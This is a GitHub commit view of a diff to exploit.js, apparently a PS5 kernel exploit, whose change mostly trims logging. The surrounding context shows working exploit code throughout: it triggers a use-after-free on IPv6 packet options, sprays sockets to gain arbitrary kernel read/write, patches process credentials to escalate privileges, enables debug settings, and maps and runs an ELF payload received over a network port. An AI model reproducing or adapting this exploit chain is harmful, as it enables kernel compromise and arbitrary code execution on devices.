Skip to content

Commit f1ee5bb

Browse files
committed
Cleanup exploit code + visual clutter
1 parent 8fd051a commit f1ee5bb

1 file changed

Lines changed: 10 additions & 36 deletions

File tree

document/en/ps5/exploit.js

Lines changed: 10 additions & 36 deletions
Original file line numberDiff line numberDiff line change
@@ -745,7 +745,9 @@ async function userland() {
745745
let temp_rv_store = p.malloc(0x4);
746746
let fake_pktopts_buf_store = p.malloc(0x100);
747747

748-
await log("===== Stage 0 - Setup =====");
748+
///////////////////////////////////////////////////////////////////////
749+
// Stage 0: Setup (opening fds, setting up helpers)
750+
///////////////////////////////////////////////////////////////////////
749751

750752
// Helper functions
751753
function build_rthdr_msg(buf, size) {
@@ -853,8 +855,6 @@ async function userland() {
853855
let INADDR_ANY = 0;
854856
build_addr(elf_loader_sock_addr_store, AF_INET, ELF_LOADER_NET_PORT, INADDR_ANY);
855857

856-
print("[+] Setup networking; log = 0x" + log_sock_fd.toString(16) + ", dump = 0x" + dump_sock_fd.toString(16) + ", ELF loader = 0x" + elf_loader_sock_fd.toString(16));
857-
858858
if (ENABLE_NET_LOGS == 1) {
859859
print("[+] Network logging is ENABLED. Ensure logging server is running or exploit will block until it connects.");
860860
}
@@ -868,8 +868,6 @@ async function userland() {
868868
pipe_read = p.read4(pipe_mem);
869869
pipe_write = p.read4(pipe_mem.add32(0x4));
870870

871-
await log("[+] Setup R/W pipe, read fd = 0x" + pipe_read.toString(16) + ", write fd = 0x" + pipe_write.toString(16));
872-
873871
///////////////////////////////////////////////////////////////////////
874872
// Stage 1: Trigger initial UAF and get two sockets to overlap pktopts
875873
///////////////////////////////////////////////////////////////////////
@@ -899,10 +897,6 @@ async function userland() {
899897

900898
let master_sock = p.read4(master_sock_store);
901899

902-
await log(" [+] master = 0x" + master_sock.toString(16));
903-
904-
await log("[+] Setting up pktopts + tclass (tag = 0x" + TAG_TCLASS_SPRAY + ")");
905-
906900
// Setup cmsg for pktoptions
907901
p.write4(cmsg_buf_store.add32(0x00), 0x14); // cmsg_len
908902
p.write4(cmsg_buf_store.add32(0x04), IPPROTO_IPV6); // cmsg_level
@@ -928,7 +922,7 @@ async function userland() {
928922

929923
await chain.run();
930924

931-
await log("[+] Setting up use/free threads...");
925+
await log("[+] Setting up use thread...");
932926

933927
// Setup conditional variable stores for threads to communicate
934928
let thread_use_cond_continue = p.malloc(0x8);
@@ -1047,8 +1041,7 @@ async function userland() {
10471041
overlap_found = 1;
10481042
overlap_idx = i;
10491043
overlap_sock = p.read4(spray_fds_store.add32(i * 0x4));
1050-
//break;
1051-
await log("[+] Found overlap @ i = 0x" + overlap_idx.toString(16) + ", overlap_sock = 0x" + overlap_sock.toString(16));
1044+
break;
10521045
}
10531046
}
10541047

@@ -1117,8 +1110,6 @@ async function userland() {
11171110
await chain.add_syscall_ret(spray_fds_store.add32(overlap_idx * 0x4), SYSCALL_SOCKET, AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
11181111
await chain.run();
11191112

1120-
await log("[+] Refilled pktopts @ 0x" + tagged_tclass.toString(16));
1121-
11221113
///////////////////////////////////////////////////////////////////////
11231114
// Stage 3: Use overlap to leak a kqueue and pktopts
11241115
///////////////////////////////////////////////////////////////////////
@@ -1265,8 +1256,6 @@ async function userland() {
12651256
await chain.add_syscall_ret(spray_fds_store.add32(overlap_idx * 0x4), SYSCALL_SOCKET, AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
12661257
await chain.run();
12671258

1268-
await log("[+] Refilled pktopts @ 0x" + tagged_tclass.toString(16));
1269-
12701259
await find_victim_sock(1); // check for bad run, will implicitly run chain
12711260

12721261
for (let i = 0; i < NUM_SPRAY_SOCKS; i++) {
@@ -1300,8 +1289,7 @@ async function userland() {
13001289
return;
13011290
}
13021291

1303-
await log("[+] Found victim sock: " + victim_sock);
1304-
await log("[+] Arbitrary kernel read/write should work");
1292+
await log("[+] Arbitrary kernel read/write established");
13051293

13061294
let test_addr = kqueue_addr;
13071295
let kqueue_data_addr = 0;
@@ -1390,7 +1378,6 @@ async function userland() {
13901378
let proc_fd_addr = 0;
13911379

13921380
await log("[+] Found kernel .data base address: 0x" + data_base_addr.toString(16));
1393-
await log(" [+] Found allproc: 0x" + allproc_addr.toString(16));
13941381

13951382
// Get ucred + fd
13961383
await kread(allproc_addr);
@@ -1526,25 +1513,18 @@ async function userland() {
15261513
await chain.add_syscall(SYSCALL_SETSOCKOPT, victim_sock, IPPROTO_IPV6, IPV6_PKTINFO, write_buf_store, 0x14);
15271514
await chain.run();
15281515

1529-
await log("[+] Enabled debug menu");
1516+
await log("[+] Enabled debug settings");
15301517

15311518
// Cleanup sockets for clean exit
1532-
await log("[+] Cleaning up overlap_sock");
15331519
await inc_socket_refcount(overlap_sock);
1534-
1535-
await log("[+] Cleaning up master_sock");
15361520
await inc_socket_refcount(master_sock);
1537-
1538-
await log("[+] Cleaning up victim_sock");
15391521
await inc_socket_refcount(victim_sock);
15401522

15411523
// Establish pipe read/write
15421524
let pipe_filedescent = ofiles_addr.add32(pipe_read * 0x30);
1543-
await log("[+] Found pipe_filedescent = 0x" + pipe_filedescent);
15441525

15451526
await kread(pipe_filedescent.add32(0x00)); // fde_file
15461527
let pipe_file = p.read8(read_buf_store);
1547-
await log("[+] Found pipe_file = 0x" + pipe_file);
15481528

15491529
await kread(pipe_file.add32(0x00)); // f_data
15501530
let pipe_addr = p.read8(read_buf_store);
@@ -1657,8 +1637,7 @@ async function userland() {
16571637
await chain.add_syscall_ret(scratch_store, 0x018);
16581638
await chain.run();
16591639

1660-
await log("[+] Patched creds");
1661-
await log("[+] Checking, getuid = 0x" + p.read4(scratch_store).toString(16));
1640+
await log("[+] Patched creds, checking uid = 0x" + p.read4(scratch_store).toString(16));
16621641
await log("[+] Launching ELF loader (port " + ELF_LOADER_NET_PORT.toString(16) + ")");
16631642

16641643
///////////////////////////////////////////////////////////////////////
@@ -1769,7 +1748,6 @@ async function userland() {
17691748
// Map to shadow mapping
17701749
await chain.add_syscall_ret(conn_ret_store, SYSCALL_MMAP, shadow_mapping_addr, aligned_memsz, 0x3, 0x11, write_handle, 0);
17711750
await chain.run();
1772-
await log("[+] Writable alias mapped: 0x" + p.read8(conn_ret_store).toString(16));
17731751

17741752
// Copy in segment data
17751753
let dest = p.read8(conn_ret_store);
@@ -1781,7 +1759,6 @@ async function userland() {
17811759
// Map executable segment
17821760
await chain.add_syscall_ret(conn_ret_store, SYSCALL_MMAP, mapping_addr.add32(program_vaddr), aligned_memsz, 0x5, 0x11, exec_handle, 0);
17831761
await chain.run();
1784-
await log("[+] Executable segment mapped: 0x" + p.read8(conn_ret_store).toString(16));
17851762
} else {
17861763
// Regular data segment
17871764
data_mapping_addr = mapping_addr.add32(program_vaddr);
@@ -1796,16 +1773,12 @@ async function userland() {
17961773
let src_qword = p.read8(elf_store.add32(program_offset + i));
17971774
p.write8(dest, src_qword);
17981775
}
1799-
1800-
await log("[+] Data mapped: 0x" + p.read8(conn_ret_store).toString(16));
18011776
}
18021777
}
18031778

18041779
// TODO: Dynamic / relocations
18051780
}
18061781

1807-
await log(" [+] Executing!");
1808-
18091782
let test_payload_store = p.malloc(0x8);
18101783
let pthread_handle_store = p.malloc(0x8);
18111784
let pthread_value_store = p.malloc(0x8);
@@ -1816,11 +1789,12 @@ async function userland() {
18161789
p.write8(args.add32(0x10), test_payload_store); // arg3
18171790

18181791
// Execute payload in pthread
1792+
await log(" [+] Executing!");
18191793
await chain.call(libKernelBase.add32(OFFSET_lk_pthread_create_name_np), pthread_handle_store, 0x0, mapping_addr.add32(elf_entry_point), args, p.stringify("payload"));
18201794

18211795
// Join pthread and wait until we're finished executing
18221796
await chain.call(libKernelBase.add32(OFFSET_lk_pthread_join), p.read8(pthread_handle_store), pthread_value_store);
1823-
await log(" [+] Executed, out = 0x" + p.read8(test_payload_store).toString(16));
1797+
await log(" [+] Finished, out = 0x" + p.read8(test_payload_store).toString(16));
18241798
}
18251799

18261800
await log("[+] Done.");

0 commit comments

Comments
 (0)